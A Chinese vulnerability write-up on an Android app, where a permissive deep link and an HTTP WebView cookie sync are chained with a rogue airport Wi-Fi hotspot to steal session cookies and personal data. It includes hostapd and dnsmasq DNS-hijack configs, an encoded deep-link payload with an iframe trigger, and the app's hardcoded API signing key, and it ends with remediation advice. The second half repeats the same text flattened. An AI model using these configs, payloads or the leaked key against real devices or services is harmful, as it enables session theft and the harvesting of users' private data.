记一次某APK的恶意WIFI攻击
字数 1425 2025-08-22 12:22:36

Android APK深度链接漏洞利用与恶意WiFi攻击分析

漏洞概述

本案例展示了一种通过恶意WiFi网络结合Android应用深度链接(DeepLink)漏洞的攻击方式,攻击者可以获取用户的敏感信息,包括cookie、手机号、收货地址等个人数据。

漏洞分析

1. 深度链接(DeepLink)漏洞

应用在AndroidManifest.xml中定义了以下深度链接:

<activity android:name="com.xxxx.client.android.modules.deeplink.ParseDeepLinkActivity"
    android:noHistory="true"
    android:theme="@style/Transparent"
    android:windowSoftInputMode="0x10">
    <intent-filter>
        <action android:name="com.xxxx.client.android.activity.HomeActivity"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="scheme"/>
    </intent-filter>
</activity>

关键问题:

  • 深度链接接受任意scheme://格式的URL
  • 未对传入的URL进行安全性验证

2. 深度链接处理流程

ParseDeepLinkActivityonCreate方法处理流程:

  1. 获取Intent中的URI数据
  2. 从查询参数中获取并反序列化JSON,得到SchemeBean结构
  3. 根据channelName进行不同渠道的派发
@Override
public void onCreate(Bundle arg13) {
    super.onCreate(arg13);
    this.uri = this.getIntent().getData();
    String v3 = this.uri.getQuery();
    this.schemabean = g.SCHEME_GETURLJSON(v3);
    // 根据channelName进行派发
}

3. H5渠道处理漏洞

channelName为"h5"时,应用会通过路由跳转到HybridActivity

case 60: { // h5
    b v3_19 = e.a().a("path_activity_zdm_web_browser", "group_route_browser");
    v3_19.putstring("url", bean.getLinkVal());
    v3_19.putstring("sub_type", "h5");
    v3_19.t();
}

路由注册代码显示最终跳转到HybridActivity

public class o implements b {
    @Override
    public void loadInto(Map arg8) {
        arg8.put("path_activity_zdm_web_browser", 
            a.a(e.e.a.c.a.a.a.ACTIVITY, HybridActivity.class, 
                "path_activity_zdm_web_browser", "group_route_browser", null, -1, 0x80000000));
    }
}

4. Cookie同步漏洞

HybridActivity会同步cookie到WebView,但存在以下问题:

public static void syncCookie(String url, boolean arg9) {
    if(!TextUtils.isEmpty(url) && ((arg9) || (url.contains(".xxxx.com")))) {
        CookieManager v9 = CookieManager.getInstance();
        // 未验证URL是否为HTTPS,允许HTTP协议
        // 为.xxxx.com和.yying.com设置cookie
        v9.setCookie(".xxxx.com", "sess=;");
        v9.setCookie(".xxxx.com", "ab_test=;");
        // 同步各种cookie值
    }
}

关键漏洞点:

  • 未验证URL协议(允许HTTP)
  • 自动为子域名设置cookie
  • 未验证域名所有权

攻击实施

1. 恶意WiFi搭建

攻击工具:

  • Kali Linux
  • hostapd (创建热点)
  • dnsmasq (DNS服务器)
  • nginx (Web服务器)
  • USB无线网卡(如TP-Link WN722N)

配置步骤:

  1. 创建热点:设置SSID为"SZ Airport Free"等诱人名称

    # hostapd.conf
    interface=wlan0
    driver=nl80211
    ssid=SZ Airport Free
    hw_mode=g
    channel=6
    
  2. 配置DNS劫持

    # dnsmasq.conf
    interface=wlan0
    dhcp-range=192.168.1.100,192.168.1.200,12h
    dhcp-option=3,192.168.1.1
    dhcp-option=6,192.168.1.1
    server=8.8.8.8
    address=/a.xxxx.com/攻击者VPS_IP
    address=/connectivitycheck.platform.hicloud.com/192.168.1.1
    
  3. 设置Captive Portal

    • 劫持华为网络检测域名
    • 返回302重定向并在页面中插入拉起APP的代码

2. 攻击Payload

构造恶意深度链接URL:

{
  "channelName": "h5",
  "linkVal": "http://a.xxxx.com/jsloop.html"
}

URL编码后:

scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D

HTML触发代码:

<iframe src="scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D">

3. 攻击流程

  1. 用户连接恶意WiFi
  2. 设备自动进行网络检测,访问被劫持的域名
  3. 返回的页面中包含拉起APP的恶意深度链接
  4. APP解析深度链接并加载指定的HTTP URL
  5. WebView自动同步cookie到攻击者控制的域名
  6. 攻击者从服务器日志中获取用户cookie

4. 绕过API签名机制

应用使用以下方式生成API签名:

private String a(Map arg6, String arg7) {
    StringBuilder v1 = new StringBuilder();
    // 排序所有参数
    ArrayList v2 = new ArrayList(arg6.keySet());
    Collections.sort(v2);
    // 拼接参数
    for(String key : v2) {
        v1.append(key).append("=").append(arg6.get(key));
    }
    v1.append("&key=").append(ZDMKeyUtil.a().b());
    return md5(v1.toString()).toUpperCase();
}

签名密钥通过JNI获取,逆向lib_zdm_key.so发现硬编码密钥:

apr1$AwP!wRRT$gJ/q.X24poeBInlUJC

利用此密钥可以构造合法的API请求。

攻击结果

成功获取以下用户信息:

  • 手机号(如13288886666)
  • 收货地址
  • 性别
  • 生日
  • 社区文章
  • 评论记录
  • 个人收藏

修复建议

  1. 深度链接安全

    • 限制深度链接只能打开HTTPS URL
    • 对传入的URL进行严格验证和白名单过滤
  2. Cookie同步安全

    • 仅允许为HTTPS域名设置cookie
    • 验证域名所有权
    • 避免为子域名自动设置cookie
  3. API签名安全

    • 不要硬编码签名密钥
    • 实现动态密钥协商机制
    • 增加时间戳防重放
  4. 网络通信安全

    • 强制使用HTTPS
    • 实现证书绑定(Certificate Pinning)
  5. WebView安全

    • 启用严格的安全策略
    • 限制可加载的内容来源

防御措施

对于用户:

  • 避免连接不可信的公共WiFi
  • 关闭自动连接WiFi功能
  • 定期清理应用数据

对于开发者:

  • 实现完整的深度链接验证机制
  • 加强WebView的安全配置
  • 定期进行安全审计和渗透测试
Android APK深度链接漏洞利用与恶意WiFi攻击分析 漏洞概述 本案例展示了一种通过恶意WiFi网络结合Android应用深度链接(DeepLink)漏洞的攻击方式,攻击者可以获取用户的敏感信息,包括cookie、手机号、收货地址等个人数据。 漏洞分析 1. 深度链接(DeepLink)漏洞 应用在 AndroidManifest.xml 中定义了以下深度链接: 关键问题: 深度链接接受任意scheme://格式的URL 未对传入的URL进行安全性验证 2. 深度链接处理流程 ParseDeepLinkActivity 的 onCreate 方法处理流程: 获取Intent中的URI数据 从查询参数中获取并反序列化JSON,得到 SchemeBean 结构 根据 channelName 进行不同渠道的派发 3. H5渠道处理漏洞 当 channelName 为"h5"时,应用会通过路由跳转到 HybridActivity : 路由注册代码显示最终跳转到 HybridActivity : 4. Cookie同步漏洞 HybridActivity 会同步cookie到WebView,但存在以下问题: 关键漏洞点: 未验证URL协议(允许HTTP) 自动为子域名设置cookie 未验证域名所有权 攻击实施 1. 恶意WiFi搭建 攻击工具: Kali Linux hostapd (创建热点) dnsmasq (DNS服务器) nginx (Web服务器) USB无线网卡(如TP-Link WN722N) 配置步骤: 创建热点 :设置SSID为"SZ Airport Free"等诱人名称 配置DNS劫持 : 设置Captive Portal : 劫持华为网络检测域名 返回302重定向并在页面中插入拉起APP的代码 2. 攻击Payload 构造恶意深度链接URL: URL编码后: HTML触发代码: 3. 攻击流程 用户连接恶意WiFi 设备自动进行网络检测,访问被劫持的域名 返回的页面中包含拉起APP的恶意深度链接 APP解析深度链接并加载指定的HTTP URL WebView自动同步cookie到攻击者控制的域名 攻击者从服务器日志中获取用户cookie 4. 绕过API签名机制 应用使用以下方式生成API签名: 签名密钥通过JNI获取,逆向 lib_zdm_key.so 发现硬编码密钥: 利用此密钥可以构造合法的API请求。 攻击结果 成功获取以下用户信息: 手机号(如13288886666) 收货地址 性别 生日 社区文章 评论记录 个人收藏 修复建议 深度链接安全 : 限制深度链接只能打开HTTPS URL 对传入的URL进行严格验证和白名单过滤 Cookie同步安全 : 仅允许为HTTPS域名设置cookie 验证域名所有权 避免为子域名自动设置cookie API签名安全 : 不要硬编码签名密钥 实现动态密钥协商机制 增加时间戳防重放 网络通信安全 : 强制使用HTTPS 实现证书绑定(Certificate Pinning) WebView安全 : 启用严格的安全策略 限制可加载的内容来源 防御措施 对于用户: 避免连接不可信的公共WiFi 关闭自动连接WiFi功能 定期清理应用数据 对于开发者: 实现完整的深度链接验证机制 加强WebView的安全配置 定期进行安全审计和渗透测试